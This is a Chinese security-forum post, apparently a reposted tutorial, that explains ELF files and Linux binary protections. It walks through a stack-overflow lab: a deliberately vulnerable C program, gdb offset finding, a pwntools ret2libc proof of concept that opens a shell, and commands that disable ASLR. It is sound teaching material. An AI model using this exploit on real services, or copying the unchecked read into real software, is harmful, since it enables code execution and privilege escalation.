安全矩阵

 找回密码
 立即注册
搜索
查看: 502|回复: 0

pwn 随笔(上)

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-25 23:00:14 | 显示全部楼层 |阅读模式
原文链接:pwn 随笔(上)
前言

首先感谢洪哥的提点,确实在真正的工作场景中,关于elf和APP的逆向分析才是当下的主场。这也让我萌生对此进行总结的想法。

关于pwn,我能够与其结缘,需要感谢导师孙老师,让我对二进制产生了浓厚的兴趣,也希望可以遇到下一位人生导师,指引我更近一步。

本篇内容记录本人从环境搭建到pwn实验的全过程,预计内容分为上、下两次。

安全热点

2023年3月14日,人工智能公司OpenAI发布了大型的多模型预训练模型GPT-4。GPT-4的快速发展,延续了人们对ChatGPT的认知。2023年3月23日,英伟达发布了ChatGPT专用的GPU,网传运行速度提高了10倍,成本降低一个数量级。
同月,为了更好的应对针对机器学习系统的攻击,微软和MITRE开发出一款插件Arsenal。微软和MITRE开发的插件并不是完全创新型的产品,但是如果应用效果明显,那么将有效缓解机器学习带病上线的情况,一定程度上实现安全“左移”。

pwn简介

对于小白,都很疑惑,什么是pwn?pwn其实就是一个网络黑客的俚语,因为发音酷似“砰”(枪毙的声音),这就像是当黑客“砰”点击一下,就可以拿下对方电脑的权限,执行任意操作。

pwn环境搭建
操作系统:kali
编译器:gcc,python2 ,python3
调试器:gdb、pwntool




相关的安装指令:

  1. sudo apt install gdb
  2. git clone https://github.com/aquynh/capstone
  3. cd capstone
  4. make && make install
  5. git clone https://github.com/Gallopsled/pwntools
  6. cd pwntools
  7. python setup.py install
复制代码

这里有几点需要注意:

1、pip可能安装不上,(笔者在网上找了一些方法,大多没用,下面这种可以)
  1. curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
  2. python3 get-pip.py
复制代码
相关的资料连接:(152条消息) kali安装pip_dhait的博客-CSDN博客

2、安装gdb后,还需要安装相关插件peda。

完整的gdb,自带checksec和ropgadget。

ELF文件相关知识

这里主要讲解一个大概,具体的细节部分会在后面的章节详细介绍。
ELF对应Unix操作系统中的文件,标准的ELF文件可以归为四类:
1、可重定位文件:可用来连接可执行文件或共享目标文件,静态链接库归为此类,对应Linux的.o。
2、可执行文件,包含了可以直接执行的程序,它的代表就是ELF 可执行文件,比如/bin/sh
3、共享目标文件,包含代码和数据,链接器可以使用这种文件跟其他可重定位文件的共享目标文件链接,产生新的目标文件,对应Linux的.so。
4、核心转储文件,Core Dump File,当进程意外终止,系统可以将该进程地址空间的内容及终止时的一些信息转存到核心转储文件, 对应 Linux 下的core dump。
根据其在链接和装载的视觉来分析,ELF文件结构如下图所示:



从链接的角度来看,可以有动态链接和静态链接。静态链接是在编译链接时直接将需要执行的代码拷贝到调用处;动态链接则是在编译的时候不直接拷贝可执行代码,而是通过记录一系列符号和参数,在程序运行或加载时将这些信息传递给操作系统,由系统负责将所需的动态库加载到内存,然后当程序运行到指定的代码时,去共享执行内存中已经加载的动态库可执行代码,最终达到运行时链接的目的。

本次准备的实验脚本如下:

  1. #undef _FORTIFY_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. void vulnerable_function() {
  6.   char buf[100];
  7.   read(STDIN_FILENO, buf, 256);
  8. }
  9. int main(int argc, char** argv) {
  10.   vulnerable_function();
  11.   write(STDOUT_FILENO, "Hello, World\n", 13);
  12. }
复制代码


下面使用gcc的相关指令,生成可执行文件a.out和level1,预编译处理的文件level1.i,汇编文件level.s,静态链接库文件libfoo.a。(这里大家可以回忆一下编译原理,四个阶段:预编译、编译、汇编和链接)





上面是关于ELF的文件结构,那么Linux对其有哪些保护措施呢?gdb中的checksec是专门用来检测可执行文件的安全属性的。



该文件的默认安全属性有CANARY、FORTIFY、NX、PIE、ASLR和RELRO等。

下面表述一下每一种属性的作用。

1、CANARY,也叫金丝雀,通过在函数开始执行之前先往栈中插入cookie信息,当函数运行结束,返回时会验证cookie信息是否合法来判断是否存在栈溢出,如果存在则停止运行。
2、FORTIFY,通过检查程序中是否存在缓冲区溢出的函数,如strcpy()、memcpy()等,如果存在进行优化。
3、NX,也可称DEP,学名数据不可执行,通过将数据所在内存页标识为不可执行,来实现阻止shellcode运行的目的。
4、ASLR,地址随机,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码,达到阻止溢出攻击的目的。
5、PIE,和PIC相反,PIE用来生成位置无关的代码。(关于位置无关和位置有关的理解,我曾经在学校时做过较深入的研究,后面有机会,我放上来)
6、RELRO,一般有两种,分别是partial relro和full relro。堆栈地址随机化,也是ASLR的一种。

实验1:无CANARY保护




场景:利用溢出改变程序走向,无CANARY保护。

编译程序,相关指令如下:

  1. gcc -fno-stack-protector level1.c -o level2 -ldl
复制代码
1、检测结果





2、运行程序,观察



这里是典型的缓冲区溢出

3、构造数据,确认溢出点
使用gdb的插件pattern,指令为:

  1. pattern create 200
复制代码



然后再次运行程序,将pattern随机数据输入





这里爆出异常位置是0x41384141

使用pattern offset 0x41384141



得到溢出点位置是112。



4、获取system()地址和/bin/sh地址

利用gdb的print和find指令。



得到system的地址是0xb7e3e850

/bin/sh的地址是0xb7f5ce64



5、编写并测试poc

基于上面的内容,构造POC如下:
  1. #!/usr/bin/env python
  2. from pwn import *
  3. p = process('./level1')
  4. #p = remote('127.0.0.1',10001)
  5. ret = 0xbffff26c
  6. systemaddr = 0xb7e3e850
  7. binsh = 0xb7f5ce64
  8. payload =  'A' * 112  + p32(systemaddr) + p32(ret) +p32(binsh)
  9. p.send(payload)
  10. p.interactive()
复制代码
运行后,结果如下:



此处出现了闪退。原因可能是ret地址的问题。

利用Core Dump File找到ret的位置。

相关指令:

  1. ulimit -c unlimited
  2. sudo sh -c 'echo "/core.%t" >/proc/sys/kernel/core_pattern'
复制代码


然后再次使用gdb调试,得到buf的地址。





得到buf的起始地址是0xbfb3bbbc。

最终修改POC,脚本如下:



运行结果如下:






6、进阶利用

基于上面的实验,那么我们在实际工作中,如何做到漏洞利用呢?

首先将elf文件设置为服务端程序,相关指令用到socat



然后修改POC,具体如下:


最后运行poc即可。



此外也可以考虑将ELF程序迁移到其他的程序中,如果运行该ELF或其他程序的权限是root,那么也可以达到提权的目的。

关于ret地址不对的看法

这个问题的理解,可以用于解决“Got EOF while reading in”的问题。
在我们使用gdb或IDA对目标文件进行调试时,调试环境可能会影响到buf在内存中的位置。那么有人会问,在gdb调试过程中关闭ASLR不就行了吗?事实上,当我们脱离调试环境后,buf的位置会固定到其他位置上。(笔者前后使用GDB 、IDA等好几种方法,得到十几个地址,已经证实了这种情况。)
本次实验使用的方式是core dump文件。这个文件会在程序运行错误时,将关键信息转储下来,所以buf的位置相对是固定的。
但是有时通过这种方法得到的buf位置依旧有问题。那是因为linux系统有ASLR的保护。那么我们只需要将linux的ASLR保护关掉即可。
关闭Linux的ASLR保护的相关指令如下:
  1. sudo -s
  2. echo 0 > /proc/sys/kernel/randomize_va_space
  3. exit
复制代码
为了验证上面的方法,是否有效。大家可以尝试生成多个转储文件,然后比较buf的地址。笔者通过实验,已经证实了上面的猜想。

总结
本人最近有点事情,所以更新较慢,计划下一篇中讲解ROP链的构造、去掉辅助函数、Use-After-Free。有兴趣的朋友可以一起学习和研究。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 00:33 , Processed in 0.014848 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表